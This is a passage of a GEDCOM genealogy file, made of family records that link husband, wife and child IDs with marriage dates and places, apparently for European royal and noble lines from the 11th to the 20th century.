+1 HUSB @I1023@
+1 WIFE @I1024@
+1 CHIL @I988@
+1 CHIL @I1025@
+0 @F386@ FAM
+1 HUSB @I1026@
+1 WIFE @I1025@
+0 @F387@ FAM
+1 HUSB @I1027@
+1 WIFE @I1028@
+1 CHIL @I605@
+1 MARR
+2 DATE        1850
+0 @F388@ FAM
+1 HUSB @I653@
+1 WIFE @I1029@
+1 CHIL @I1028@
+1 CHIL @I512@
+1 CHIL @I1683@
+1 CHIL @I1684@
+1 MARR
+2 DATE        1825
+0 @F389@ FAM
+1 HUSB @I1033@
+1 WIFE @I1032@
+1 CHIL @I2711@
+1 CHIL @I2712@
+1 MARR
+2 DATE        1963
+0 @F390@ FAM
+1 HUSB @I1034@
+1 WIFE @I1036@
+1 MARR
+2 DATE        1960
+0 @F391@ FAM
+1 HUSB @I1031@
+1 WIFE @I1037@
+1 CHIL @I2706@
+1 CHIL @I2707@
+1 CHIL @I2708@
+1 MARR
+2 DATE        1946
+0 @F392@ FAM
+1 HUSB @I1030@
+1 WIFE @I1038@
+1 CHIL @I1039@
+1 CHIL @I1040@
+1 CHIL @I1041@
+1 CHIL @I1042@
+1 CHIL @I1043@
+1 CHIL @I1044@
+0 @F393@ FAM
+1 HUSB @I1045@
+1 WIFE @I1039@
+0 @F394@ FAM
+1 HUSB @I1040@
+1 WIFE @I1046@
+1 CHIL @I1047@
+1 CHIL @I1048@
+0 @F395@ FAM
+1 HUSB @I1041@
+1 WIFE @I1049@
+1 CHIL @I1050@
+1 DIV N
+1 MARR
+2 DATE    SEP 1988
+0 @F396@ FAM
+1 HUSB @I1051@
+1 WIFE @I1043@
+0 @F397@ FAM
+1 HUSB @I1052@
+1 WIFE @I255@
+0 @F398@ FAM
+1 HUSB @I1053@
+1 WIFE @I257@
+0 @F399@ FAM
+1 HUSB @I260@
+1 WIFE @I1054@
+1 CHIL @I469@
+0 @F400@ FAM
+1 HUSB @I1055@
+1 WIFE @I1056@
+1 CHIL @I971@
+0 @F401@ FAM
+1 HUSB @I438@
+1 WIFE @I1058@
+1 MARR
+2 DATE  3 JUN 1947
+2 PLAC Rio de Janerio,Brazil
+0 @F402@ FAM
+1 HUSB @I608@
+1 WIFE @I1059@
+1 CHIL @I610@
+1 CHIL @I1672@
+1 CHIL @I472@
+1 MARR
+2 DATE 24 MAY 1935
+2 PLAC Stockholm,Sweden
+0 @F403@ FAM
+1 HUSB @I1065@
+1 WIFE @I1066@
+1 CHIL @I473@
+0 @F404@ FAM
+1 HUSB @I1067@
+1 WIFE @I1068@
+1 CHIL @I247@
+0 @F405@ FAM
+1 HUSB @I247@
+1 WIFE @I1069@
+1 CHIL @I1070@
+1 CHIL @I1071@
+1 CHIL @I1072@
+1 CHIL @I1073@
+0 @F406@ FAM
+1 HUSB @I1070@
+1 WIFE @I1074@
+1 DIV Y
+0 @F407@ FAM
+1 HUSB @I1070@
+1 WIFE @I1075@
+1 CHIL @I1076@
+1 CHIL @I1077@
+0 @F408@ FAM
+1 HUSB @I1070@
+1 WIFE @I1078@
+1 CHIL @I1079@
+1 CHIL @I1080@
+1 CHIL @I1081@
+0 @F409@ FAM
+1 HUSB @I1080@
+1 WIFE @I1082@
+0 @F410@ FAM
+1 HUSB @I1083@
+1 WIFE @I1081@
+0 @F411@ FAM
+1 HUSB @I1073@
+1 WIFE @I1084@
+1 CHIL @I1085@
+1 CHIL @I1086@
+1 CHIL @I1087@
+1 CHIL @I1088@
+1 CHIL @I1089@
+0 @F412@ FAM
+1 HUSB @I1086@
+1 WIFE @I1079@
+1 CHIL @I1090@
+0 @F413@ FAM
+1 HUSB @I1090@
+1 WIFE @I1091@
+1 CHIL @I1092@
+1 CHIL @I1093@
+0 @F414@ FAM
+1 HUSB @I1094@
+1 WIFE @I1092@
+0 @F415@ FAM
+1 HUSB @I1090@
+1 WIFE @I1095@
+0 @F416@ FAM
+1 HUSB @I1099@
+1 WIFE @I1100@
+1 CHIL @I1101@
+1 CHIL @I309@
+1 CHIL @I1102@
+0 @F417@ FAM
+1 HUSB @I1102@
+1 WIFE @I1103@
+1 MARR
+2 DATE        1894
+0 @F418@ FAM
+1 HUSB @I1104@
+1 WIFE @I1105@
+1 CHIL @I1099@
+1 CHIL @I1106@
+1 CHIL @I1107@
+1 CHIL @I1108@
+1 CHIL @I1109@
+1 CHIL @I1110@
+0 @F419@ FAM
+1 HUSB @I1111@
+1 WIFE @I1106@
+0 @F420@ FAM
+1 HUSB @I1107@
+1 WIFE @I1112@
+1 MARR
+2 DATE 15 NOV 1869
+2 PLAC Neuwied,Germany
+0 @F421@ FAM
+1 HUSB @I1109@
+1 WIFE @I1113@
+0 @F422@ FAM
+1 HUSB @I1114@
+1 WIFE @I1110@
+1 CHIL @I1115@
+1 CHIL @I1116@
+1 CHIL @I1117@
+1 CHIL @I1103@
+1 CHIL @I1118@
+1 MARR
+2 DATE        1867
+0 @F423@ FAM
+1 HUSB @I1118@
+1 WIFE @I1119@
+1 CHIL @I600@
+1 CHIL @I1120@
+1 CHIL @I1121@
+1 MARR
+2 DATE  2 OCT 1900
+2 PLAC Munich,Germany
+0 @F424@ FAM
+1 HUSB @I1122@
+1 WIFE @I1121@
+1 MARR
+2 DATE        1930
+0 @F425@ FAM
+1 HUSB @I1125@
+1 WIFE @I1123@
+1 MARR
+2 DATE        1953
+0 @F426@ FAM
+1 HUSB @I601@
+1 WIFE @I1126@
+1 MARR
+2 DATE 15 DEC 1960
+2 PLAC Brussels,Belgium
+0 @F427@ FAM
+1 HUSB @I1124@
+1 WIFE @I1127@
+1 CHIL @I1128@
+1 CHIL @I1129@
+1 CHIL @I1130@
+1 MARR
+2 DATE        1959
+0 @F428@ FAM
+1 HUSB @I1131@
+1 WIFE @I1129@
+0 @F429@ FAM
+1 HUSB @I600@
+1 WIFE @I1132@
+1 CHIL @I1133@
+1 CHIL @I1134@
+1 CHIL @I1135@
+1 MARR
+2 DATE 11 SEP 1941
+2 PLAC Laeken
+0 @F430@ FAM
+1 HUSB @I1136@
+1 WIFE @I1134@
+1 DIV Y
+0 @F431@ FAM
+1 HUSB @I637@
+1 WIFE @I1137@
+1 CHIL @I1138@
+1 CHIL @I1139@
+1 CHIL @I1140@
+1 CHIL @I1074@
+1 CHIL @I1141@
+1 MARR
+2 DATE 30 SEP 1785
+2 PLAC Darmstadt
+0 @F432@ FAM
+1 HUSB @I1138@
+1 WIFE @I1142@
+1 CHIL @I1143@
+1 CHIL @I495@
+1 CHIL @I1148@
+1 CHIL @I1149@
+1 CHIL @I1150@
+1 CHIL @I1151@
+1 CHIL @I1152@
+1 CHIL @I1153@
+1 MARR
+2 DATE 12 OCT 1810
+2 PLAC Munich
+0 @F433@ FAM
+1 HUSB @I1143@
+1 WIFE @I1144@
+1 CHIL @I1145@
+1 CHIL @I1146@
+1 MARR
+2 DATE 12 OCT 1842
+2 PLAC Munich
+0 @F434@ FAM
+1 HUSB @I411@
+1 WIFE @I1155@
+0 @F435@ FAM
+1 HUSB @I761@
+1 WIFE @I343@
+1 CHIL @I1160@
+1 CHIL @I1161@
+1 CHIL @I1162@
+1 CHIL @I1163@
+1 CHIL @I1164@
+1 CHIL @I1165@
+1 CHIL @I1166@
+1 CHIL @I1167@
+1 CHIL @I1168@
+1 CHIL @I568@
+1 CHIL @I1169@
+1 CHIL @I1170@
+1 CHIL @I1171@
+1 MARR
+2 DATE 28 NOV 1706
+2 PLAC Berlin
+0 @F436@ FAM
+1 HUSB @I772@
+1 WIFE @I1173@
+1 CHIL @I1174@
+1 CHIL @I1175@
+1 MARR
+2 DATE 23 AUG 1679
+2 PLAC Potsdam
+0 @F437@ FAM
+1 HUSB @I772@
+1 WIFE @I1176@
+1 MARR
+2 DATE 28 NOV 1708
+2 PLAC Berlin
+0 @F438@ FAM
+1 HUSB @I1150@
+1 WIFE @I1179@
+1 CHIL @I688@
+1 CHIL @I1180@
+1 CHIL @I1181@
+1 CHIL @I1182@
+0 @F439@ FAM
+1 HUSB @I689@
+1 WIFE @I1186@
+1 CHIL @I1187@
+1 CHIL @I1188@
+1 CHIL @I1189@
+1 CHIL @I1190@
+1 CHIL @I1191@
+1 CHIL @I1192@
+0 @F440@ FAM
+1 HUSB @I1193@
+1 WIFE @I1158@
+1 CHIL @I1194@
+1 CHIL @I1195@
+1 CHIL @I1196@
+1 CHIL @I1197@
+1 CHIL @I1198@
+1 CHIL @I1199@
+1 CHIL @I1200@
+1 CHIL @I1201@
+0 @F441@ FAM
+1 HUSB @I1197@
+1 WIFE @I1202@
+1 CHIL @I1119@
+1 CHIL @I690@
+1 MARR
+2 DATE        1874
+0 @F442@ FAM
+1 HUSB @I1203@
+1 WIFE @I74@
+0 @F443@ FAM
+1 HUSB @I1207@
+1 WIFE @I661@
+1 CHIL @I1208@
+1 CHIL @I1209@
+1 CHIL @I1210@
+1 MARR
+2 DATE 10 MAR 1966
+2 PLAC Amsterdam,Netherlands
+0 @F444@ FAM
+1 HUSB @I1211@
+1 WIFE @I1212@
+1 CHIL @I1207@
+0 @F445@ FAM
+1 HUSB @I1213@
+1 WIFE @I1214@
+1 CHIL @I658@
+1 MARR
+2 DATE        1868
+0 @F446@ FAM
+1 HUSB @I1215@
+1 WIFE @I198@
+1 CHIL @I740@
+0 @F447@ FAM
+1 HUSB @I655@
+1 WIFE @I1077@
+1 CHIL @I1678@
+1 CHIL @I1679@
+1 CHIL @I1680@
+1 MARR
+2 DATE 18 JUN 1839
+2 PLAC Stuttgart
+0 @F448@ FAM
+1 HUSB @I1217@
+1 WIFE @I1218@
+1 CHIL @I1016@
+1 MARR
+2 DATE 22 APR 1445
+2 PLAC Titchfield,Abbey,Hants
+0 @F449@ FAM
+1 HUSB @I1219@
+1 WIFE @I1220@
+1 CHIL @I1217@
+1 MARR
+2 DATE  2 JUN 1420
+2 PLAC Troyes
+0 @F450@ FAM
+1 HUSB @I1221@
+1 WIFE @I1222@
+1 CHIL @I1223@
+1 CHIL @I1219@
+1 CHIL @I1224@
+1 CHIL @I1225@
+1 CHIL @I1226@
+1 CHIL @I1227@
+1 CHIL @I1228@
+1 MARR
+2 DATE        1380/1381
+2 PLAC Arundel Castle
+0 @F451@ FAM
+1 HUSB @I1229@
+1 WIFE @I1230@
+1 CHIL @I1231@
+1 CHIL @I1232@
+1 CHIL @I1233@
+1 CHIL @I1234@
+1 CHIL @I1235@
+1 CHIL @I1236@
+1 CHIL @I1237@
+1 CHIL @I1238@
+1 CHIL @I1239@
+1 CHIL @I1240@
+1 CHIL @I1241@
+1 CHIL @I1242@
+1 MARR
+2 DATE 24 JAN 1328
+2 PLAC York Minster
+0 @F452@ FAM
+1 HUSB @I1236@
+1 WIFE @I1243@
+1 CHIL @I1501@
+1 CHIL @I1502@
+1 CHIL @I1221@
+1 MARR
+2 DATE 13 MAY 1359
+2 PLAC Reading
+0 @F453@ FAM
+1 HUSB @I1245@
+1 WIFE @I1244@
+1 CHIL @I683@
+1 MARR
+2 DATE        1846
+0 @F454@ FAM
+1 HUSB @I1246@
+1 WIFE @I2874@
+1 CHIL @I1244@
+1 MARR
+2 DATE        1829
+0 @F455@ FAM
+1 HUSB @I1249@
+1 WIFE @I1247@
+1 CHIL @I725@
+1 MARR
+2 DATE 29 JUL 1565
+2 PLAC Edinburgh,Scotland
+0 @F456@ FAM
+1 HUSB @I1248@
+1 WIFE @I1247@
+1 MARR
+2 DATE 24 APR 1558
+2 PLAC Paris,France
+0 @F457@ FAM
+1 HUSB @I1250@
+1 WIFE @I1247@
+1 MARR
+2 DATE ABT    1567
+0 @F458@ FAM
+1 HUSB @I835@
+1 WIFE @I1429@
+0 @F459@ FAM
+1 HUSB @I835@
+1 WIFE @I1251@
+1 CHIL @I1247@
+1 MARR
+2 DATE        1538
+0 @F460@ FAM
+1 HUSB @I1252@
+1 WIFE @I1469@
+1 CHIL @I834@
+1 CHIL @I2867@
+1 CHIL @I2868@
+1 MARR
+2 DATE        1469
+0 @F461@ FAM
+1 HUSB @I1254@
+1 WIFE @I1255@
+1 CHIL @I773@
+0 @F462@ FAM
+1 HUSB @I1260@
+1 WIFE @I2546@
+1 CHIL @I838@
+1 MARR
+2 DATE        1462
+0 @F463@ FAM
+1 HUSB @I1259@
+1 WIFE @I1257@
+1 MARR
+2 DATE    MAY 1332
+2 PLAC Ni jmegen
+0 @F464@ FAM
+1 HUSB @I1261@
+1 WIFE @I1262@
+1 CHIL @I1263@
+1 CHIL @I1264@
+1 CHIL @I1265@
+1 CHIL @I1266@
+1 CHIL @I1267@
+1 CHIL @I1268@
+1 CHIL @I1269@
+1 CHIL @I1270@
+1 CHIL @I1271@
+1 CHIL @I1272@
+1 CHIL @I1273@
+1 CHIL @I1274@
+1 CHIL @I286@
+1 CHIL @I1275@
+1 CHIL @I1276@
+1 MARR
+2 DATE    OCT 1254
+2 PLAC Las Huelgas
+0 @F465@ FAM
+1 HUSB @I1261@
+1 WIFE @I1277@
+1 CHIL @I1278@
+1 CHIL @I1279@
+1 CHIL @I1280@
+1 MARR
+2 DATE 10 SEP 1299
+2 PLAC Canterbury,Cathedral
+0 @F466@ FAM
+1 HUSB @I1281@
+1 WIFE @I1282@
+1 CHIL @I1261@
+1 CHIL @I1283@
+1 CHIL @I1284@
+1 CHIL @I1285@
+1 CHIL @I1286@
+1 CHIL @I1287@
+1 CHIL @I1288@
+1 CHIL @I1289@
+1 CHIL @I1290@
+1 MARR
+2 DATE  4 JAN 1236
+2 PLAC Canterbury,Cathedral
+0 @F467@ FAM
+1 HUSB @I1291@
+1 WIFE @I1292@
+1 CHIL @I781@
+0 @F468@ FAM
+1 HUSB @I565@
+1 WIFE @I1293@
+1 MARR
+2 DATE 17 FEB 1841
+2 PLAC Berlin,Germany
+0 @F469@ FAM
+1 HUSB @I1294@
+1 WIFE @I1295@
+1 CHIL @I1296@
+1 CHIL @I654@
+1 CHIL @I42@
+1 MARR
+2 DATE        1776
+0 @F470@ FAM
+1 HUSB @I1296@
+1 WIFE @I1297@
+1 CHIL @I1298@
+0 @F471@ FAM
+1 HUSB @I1300@
+1 WIFE @I1299@
+1 CHIL @I1294@
+1 MARR
+2 DATE        1745
+0 @F472@ FAM
+1 HUSB @I1301@
+1 WIFE @I1302@
+1 CHIL @I1303@
+1 CHIL @I1304@
+1 MARR
+2 DATE        1712
+0 @F473@ FAM
+1 HUSB @I1419@
+1 WIFE @I1303@
+1 CHIL @I1300@
+1 MARR
+2 DATE        1725
+0 @F474@ FAM
+1 HUSB @I1301@
+1 WIFE @I1305@
+1 CHIL @I1306@
+1 DIV Y
+0 @F475@ FAM
+1 HUSB @I1306@
+1 WIFE @I1307@
+1 CHIL @I1308@
+0 @F476@ FAM
+1 HUSB @I1309@
+1 WIFE @I1310@
+1 CHIL @I1325@
+1 CHIL @I1324@
+1 CHIL @I1311@
+1 MARR
+2 DATE ABT    1641
+0 @F477@ FAM
+1 HUSB @I1312@
+1 WIFE @I1313@
+1 CHIL @I1309@
+1 MARR
+2 DATE        1626
+0 @F478@ FAM
+1 HUSB @I1309@
+1 WIFE @I1314@
+1 CHIL @I1301@
+1 MARR
+2 DATE ABT    1670
+0 @F479@ FAM
+1 HUSB @I1311@
+1 WIFE @I1315@
+1 CHIL @I1316@
+0 @F480@ FAM
+1 HUSB @I1316@
+1 WIFE @I1317@
+1 CHIL @I1319@
+1 CHIL @I1318@
+0 @F481@ FAM
+1 HUSB @I1320@
+1 WIFE @I1319@
+1 CHIL @I1321@
+0 @F482@ FAM
+1 HUSB @I1322@
+1 WIFE @I1321@
+1 CHIL @I1323@
+0 @F483@ FAM
+1 HUSB @I1326@
+1 WIFE @I2662@
+1 CHIL @I1314@
+0 @F484@ FAM
+1 HUSB @I1225@
+1 WIFE @I1327@
+1 MARR
+2 DATE 22 APR 1433
+2 PLAC Therouenne
+0 @F485@ FAM
+1 HUSB @I1236@
+1 WIFE @I1328@
+1 CHIL @I1329@
+1 CHIL @I1330@
+1 CHIL @I1331@
+1 CHIL @I1437@
+1 MARR
+2 DATE 13 JAN 1396
+2 PLAC Lincoln
+0 @F486@ FAM
+1 HUSB @I1329@
+1 WIFE @I1595@
+1 CHIL @I1333@
+1 CHIL @I1334@
+1 CHIL @I1335@
+1 CHIL @I1465@
+1 CHIL @I2079@
+0 @F487@ FAM
+1 HUSB @I1334@
+1 WIFE @I1336@
+1 CHIL @I1255@
+0 @F488@ FAM
+1 HUSB @I1237@
+1 WIFE @I1337@
+1 CHIL @I1023@
+1 CHIL @I1338@
+1 CHIL @I2294@
+1 MARR
+2 DATE ABT  1 MAR 1372
+2 PLAC Hertford
+0 @F489@ FAM
+1 HUSB @I531@
+1 WIFE @I530@
+1 CHIL @I741@
+0 @F490@ FAM
+1 HUSB @I1342@
+1 CHIL @I987@
+0 @F491@ FAM
+1 HUSB @I1242@
+1 WIFE @I1343@
+1 CHIL @I2071@
+1 CHIL @I1603@
+1 CHIL @I2072@
+1 CHIL @I2073@
+1 MARR
+2 DATE        1374
+0 @F492@ FAM
+1 HUSB @I1344@
+1 WIFE @I1345@
+1 CHIL @I1346@
+1 CHIL @I2280@
+1 CHIL @I1024@
+1 CHIL @I2281@
+0 @F493@ FAM
+1 HUSB @I1235@
+1 WIFE @I1347@
+1 MARR
+2 DATE 28 MAY 1368
+2 PLAC Milan,Italy
+0 @F494@ FAM
+1 HUSB @I1349@
+1 WIFE @I1348@
+1 CHIL @I1344@
+1 CHIL @I2283@
+1 CHIL @I2284@
+1 CHIL @I2285@
+0 @F495@ FAM
+1 HUSB @I1350@
+1 WIFE @I1255@
+0 @F496@ FAM
+1 HUSB @I1351@
+1 WIFE @I1255@
+0 @F497@ FAM
+1 HUSB @I1352@
+1 WIFE @I1220@
+1 CHIL @I1353@
+1 CHIL @I1254@
+0 @F498@ FAM
+1 HUSB @I155@
+1 WIFE @I1354@
+1 CHIL @I502@
+1 CHIL @I1360@
+1 MARR
+2 DATE    JUL 1912
+2 PLAC Vienna,Austria
+0 @F499@ FAM
+1 HUSB @I152@
+1 WIFE @I1356@
+1 CHIL @I1357@
+1 CHIL @I1358@
+1 CHIL @I1359@
+1 MARR
+2 DATE        1902
+2 PLAC Leghorn
+0 @F500@ FAM
+1 HUSB @I1361@
+1 WIFE @I156@
+1 DIV Y
+1 MARR
+2 DATE    JUL 1901
+0 @F501@ FAM
+1 HUSB @I1363@
+1 WIFE @I333@
+1 CHIL @I143@
+0 @F502@ FAM
+1 HUSB @I1364@
+1 WIFE @I1365@
+1 DIV Y
+1 MARR
+2 DATE 29 AUG 1189
+2 PLAC Marlebridge
+0 @F503@ FAM
+1 HUSB @I1364@
+1 WIFE @I1366@
+1 CHIL @I1281@
+1 CHIL @I1367@
+1 CHIL @I1368@
+1 CHIL @I1369@
+1 CHIL @I1370@
+1 MARR
+2 DATE 24 AUG 1200
+2 PLAC Bordeaux
+0 @F504@ FAM
+1 HUSB @I1371@
+1 WIFE @I1372@
+1 CHIL @I1373@
+1 CHIL @I1374@
+1 CHIL @I1375@
+1 CHIL @I1376@
+1 CHIL @I1377@
+1 CHIL @I1378@
+1 CHIL @I1379@
+1 CHIL @I1364@
+1 MARR
+2 DATE 18 MAY 1152
+2 PLAC Bordeaux,France
+0 @F505@ FAM
+1 HUSB @I1380@
+1 WIFE @I1381@
+1 CHIL @I1382@
+1 CHIL @I1383@
+1 CHIL @I1384@
+1 CHIL @I1385@
+1 CHIL @I1386@
+1 CHIL @I1387@
+1 CHIL @I1388@
+1 CHIL @I1389@
+1 CHIL @I1390@
+1 CHIL @I1391@
+1 MARR
+2 DATE        1053
+0 @F506@ FAM
+1 HUSB @I1391@
+1 WIFE @I1392@
+1 CHIL @I1393@
+1 CHIL @I2957@
+1 CHIL @I1394@
+1 CHIL @I1395@
+1 CHIL @I2224@
+1 MARR
+2 DATE  6 AUG 1100
+2 PLAC Westminster,Abbey,London,England
+0 @F507@ FAM
+1 HUSB @I1391@
+1 WIFE @I1396@
+1 MARR
+2 DATE 29 JAN 1122
+2 PLAC Westminster,Abbey,London,England
+0 @F508@ FAM
+1 HUSB @I1397@
+1 WIFE @I1398@
+1 CHIL @I1399@
+1 CHIL @I1400@
+1 CHIL @I1401@
+1 CHIL @I1402@
+1 CHIL @I1403@
+1 MARR
+2 DATE        1125
+2 PLAC Westminster,England
+0 @F509@ FAM
+1 HUSB @I1404@
+1 WIFE @I1395@
+1 MARR
+2 DATE  7 JAN 1114
+2 PLAC Mainz
+0 @F510@ FAM
+1 HUSB @I1405@
+1 WIFE @I1395@
+1 CHIL @I1371@
+1 CHIL @I1866@
+1 CHIL @I1867@
+1 MARR
+2 DATE 22 MAY 1127
+2 PLAC Le Mans
+0 @F511@ FAM
+1 HUSB @I164@
+1 WIFE @I1406@
+1 CHIL @I1407@
+1 DIV Y
+1 MARR
+2 DATE        1926
+2 PLAC Biarritz
+0 @F512@ FAM
+1 HUSB @I1408@
+1 WIFE @I1355@
+1 CHIL @I1409@
+1 DIV Y
+1 MARR
+2 DATE        1908
+0 @F513@ FAM
+1 HUSB @I1231@
+1 WIFE @I1410@
+1 CHIL @I1411@
+1 CHIL @I1412@
+1 MARR
+2 DATE 10 OCT 1361
+2 PLAC Windsor,England
+0 @F514@ FAM
+1 HUSB @I1412@
+1 WIFE @I1413@
+1 MARR
+2 DATE 20 JAN 1382
+2 PLAC Westminster,Palace,London,England
+0 @F515@ FAM
+1 HUSB @I1412@
+1 WIFE @I1414@
+1 MARR
+2 DATE  1 NOV 1396
+2 PLAC Calais
+0 @F516@ FAM
+1 HUSB @I1415@
+1 WIFE @I1232@
+1 MARR
+2 DATE 27 JUL 1365
+2 PLAC Windsor,England
+0 @F517@ FAM
+1 HUSB @I1236@
+1 WIFE @I1416@
+1 CHIL @I2065@
+1 MARR
+2 DATE    SEP 1371
+2 PLAC Roquefort
+0 @F518@ FAM
+1 HUSB @I1417@
+1 WIFE @I1240@
+1 MARR
+2 DATE 19 MAY 1359
+2 PLAC Reading
+0 @F519@ FAM
+1 HUSB @I1235@
+1 WIFE @I1418@
+1 CHIL @I1348@
+1 MARR
+2 DATE  9 SEP 1342
+2 PLAC Tower of London,London,England
+0 @F520@ FAM
+1 HUSB @I564@
+1 WIFE @I496@
+1 CHIL @I248@
+0 @F521@ FAM
+1 HUSB @I529@
+1 WIFE @I920@
+1 CHIL @I1341@
+1 CHIL @I751@
+1 MARR
+2 DATE 24 NOV 1615
+0 @F522@ FAM
+1 HUSB @I2132@
+1 WIFE @I1017@
+1 CHIL @I920@
+1 CHIL @I2131@
+1 CHIL @I2417@
+1 MARR
+2 DATE        1599
+0 @F523@ FAM
+1 HUSB @I1341@
+1 WIFE @I1420@
+1 CHIL @I2423@
+1 MARR
+2 DATE  9 JUN 1660
+2 PLAC St Jean-de-Luz,France
+0 @F524@ FAM
+1 HUSB @I1341@
+1 WIFE @I1421@
+1 MARR
+2 DATE 12 JUN 1684
+2 PLAC Versailles,France
+0 @F525@ FAM
+1 HUSB @I1422@
+1 WIFE @I1423@
+1 CHIL @I894@
+1 MARR
+2 DATE  4 SEP 1725
+0 @F526@ FAM
+1 HUSB @I1424@
+1 WIFE @I1425@
+1 CHIL @I1703@
+1 CHIL @I1700@
+1 CHIL @I1701@
+1 CHIL @I1702@
+1 MARR
+2 DATE 16 MAY 1770
+2 PLAC Versailles,France
+0 @F527@ FAM
+1 HUSB @I1430@
+1 WIFE @I1427@
+1 CHIL @I868@
+1 CHIL @I2106@
+1 CHIL @I2107@
+0 @F528@ FAM
+1 HUSB @I1432@
+1 WIFE @I1431@
+1 CHIL @I1249@
+1 CHIL @I1433@
+0 @F529@ FAM
+1 HUSB @I836@
+1 WIFE @I776@
+1 CHIL @I1431@
+1 DIV Y
+1 MARR
+2 DATE  4 AUG 1514
+0 @F530@ FAM
+1 HUSB @I1433@
+1 WIFE @I1434@
+1 CHIL @I1435@
+0 @F531@ FAM
+1 HUSB @I1436@
+1 WIFE @I1435@
+0 @F532@ FAM
+1 HUSB @I1438@
+1 WIFE @I1196@
+1 CHIL @I1439@
+1 CHIL @I1440@
+1 CHIL @I1441@
+1 MARR
+2 DATE        1854
+0 @F533@ FAM
+1 HUSB @I1442@
+1 WIFE @I1200@
+1 MARR
+2 DATE        1868
+0 @F534@ FAM
+1 HUSB @I1237@
+1 WIFE @I1443@
+1 MARR
+2 DATE BEF  4 NOV 1393
+0 @F535@ FAM
+1 HUSB @I1023@
+1 WIFE @I1444@
+0 @F536@ FAM
+1 HUSB @I1346@
+1 WIFE @I1445@
+0 @F537@ FAM
+1 HUSB @I1353@
+1 WIFE @I1446@
+0 @F538@ FAM
+1 HUSB @I1447@
+1 WIFE @I1448@
+1 CHIL @I1449@
+1 MARR
+2 DATE        1296
+0 @F539@ FAM
+1 HUSB @I1447@
+1 WIFE @I1450@
+1 CHIL @I1451@
+1 MARR
+2 DATE        1302
+0 @F540@ FAM
+1 HUSB @I1451@
+1 WIFE @I1258@
+1 MARR
+2 DATE 17 JUL 1328
+2 PLAC Berwick-on-Tweed
+0 @F541@ FAM
+1 HUSB @I1451@
+1 WIFE @I1453@
+1 DIV Y
+0 @F542@ FAM
+1 HUSB @I1454@
+1 WIFE @I1449@
+1 CHIL @I1455@
+1 MARR
+2 DATE        1315
+0 @F543@ FAM
+1 HUSB @I1455@
+1 WIFE @I1456@
+1 CHIL @I1457@
+1 CHIL @I1458@
+1 CHIL @I1459@
+1 CHIL @I1460@
+1 CHIL @I1821@
+0 @F544@ FAM
+1 HUSB @I1457@
+1 WIFE @I1461@
+1 CHIL @I1462@
+1 CHIL @I1463@
+0 @F545@ FAM
+1 HUSB @I1455@
+1 WIFE @I1464@
+0 @F546@ FAM
+1 HUSB @I1463@
+1 WIFE @I1465@
+1 CHIL @I1466@
+0 @F547@ FAM
+1 HUSB @I1466@
+1 WIFE @I1467@
+1 CHIL @I1252@
+1 CHIL @I1470@
+1 CHIL @I1471@
+1 CHIL @I1472@
+0 @F548@ FAM
+1 HUSB @I1253@
+1 WIFE @I1829@
+1 CHIL @I1450@
+0 @F549@ FAM
+1 HUSB @I1474@
+1 WIFE @I1472@
+1 CHIL @I1475@
+1 CHIL @I1476@
+0 @F550@ FAM
+1 HUSB @I1477@
+1 WIFE @I1475@
+1 CHIL @I1478@
+0 @F551@ FAM
+1 HUSB @I1478@
+1 WIFE @I1479@
+1 CHIL @I1432@
+1 CHIL @I1480@
+0 @F552@ FAM
+1 HUSB @I1480@
+1 WIFE @I1481@
+1 CHIL @I1482@
+0 @F553@ FAM
+1 HUSB @I1470@
+1 WIFE @I1483@
+1 CHIL @I2866@
+1 DIV Y
+0 @F554@ FAM
+1 HUSB @I1459@
+1 WIFE @I1485@
+1 CHIL @I1486@
+0 @F555@ FAM
+1 HUSB @I1487@
+1 WIFE @I1465@
+1 CHIL @I1488@
+1 CHIL @I1489@
+1 CHIL @I1490@
+0 @F556@ FAM
+1 HUSB @I1476@
+1 WIFE @I1491@
+1 CHIL @I1492@
+0 @F557@ FAM
+1 HUSB @I1492@
+1 WIFE @I1493@
+1 CHIL @I1494@
+1 MARR
+2 DATE        1532
+0 @F558@ FAM
+1 HUSB @I1285@
+1 WIFE @I1495@
+1 CHIL @I1496@
+1 CHIL @I1497@
+1 MARR
+2 DATE BEF  3 FEB 1276
+2 PLAC Paris,France
+0 @F559@ FAM
+1 HUSB @I1497@
+1 WIFE @I1498@
+1 CHIL @I1499@
+0 @F560@ FAM
+1 HUSB @I1499@
+1 WIFE @I1500@
+1 CHIL @I1243@
+0 @F561@ FAM
+1 HUSB @I1503@
+1 WIFE @I1501@
+0 @F562@ FAM
+1 HUSB @I1278@
+1 WIFE @I1504@
+1 CHIL @I1744@
+1 MARR
+2 DATE ABT    1316
+0 @F563@ FAM
+1 HUSB @I1377@
+1 WIFE @I1506@
+1 CHIL @I1507@
+1 CHIL @I1873@
+1 MARR
+2 DATE    JUL 1181
+0 @F564@ FAM
+1 HUSB @I1279@
+1 WIFE @I1505@
+1 CHIL @I1410@
+1 MARR
+2 DATE    DEC 1325
+0 @F565@ FAM
+1 HUSB @I1376@
+1 WIFE @I1508@
+0 @F566@ FAM
+1 HUSB @I1509@
+1 WIFE @I1375@
+1 MARR
+2 DATE  1 FEB 1168
+2 PLAC Minden,Saxony,Germany
+0 @F567@ FAM
+1 HUSB @I1374@
+1 WIFE @I1510@
+0 @F568@ FAM
+1 HUSB @I1511@
+1 WIFE @I1512@
+1 CHIL @I1513@
+1 CHIL @I1514@
+1 CHIL @I1392@
+1 CHIL @I1515@
+1 CHIL @I1516@
+0 @F569@ FAM
+1 HUSB @I1517@
+1 WIFE @I1388@
+1 CHIL @I1860@
+1 CHIL @I1518@
+1 CHIL @I1519@
+1 CHIL @I1397@
+1 CHIL @I1861@
+0 @F570@ FAM
+1 HUSB @I1400@
+1 WIFE @I1524@
+1 MARR
+2 DATE AFT    FEB 1140
+0 @F571@ FAM
+1 HUSB @I1520@
+1 WIFE @I1378@
+1 CHIL @I1747@
+1 MARR
+2 DATE    SEP 1170
+2 PLAC Burgos
+0 @F572@ FAM
+1 HUSB @I1525@
+1 WIFE @I1526@
+1 CHIL @I1380@
+0 @F573@ FAM
+1 HUSB @I1527@
+1 WIFE @I1528@
+1 CHIL @I1529@
+1 CHIL @I1525@
+0 @F574@ FAM
+1 HUSB @I1530@
+1 WIFE @I1531@
+1 CHIL @I1527@
+1 CHIL @I1532@
+0 @F575@ FAM
+1 HUSB @I1533@
+1 WIFE @I1532@
+1 CHIL @I1767@
+1 CHIL @I1534@
+1 MARR
+2 DATE        1002
+0 @F576@ FAM
+1 HUSB @I1534@
+1 WIFE @I1535@
+1 MARR
+2 DATE 23 JAN 1045
+0 @F577@ FAM
+1 HUSB @I1536@
+1 WIFE @I1537@
+1 CHIL @I1538@
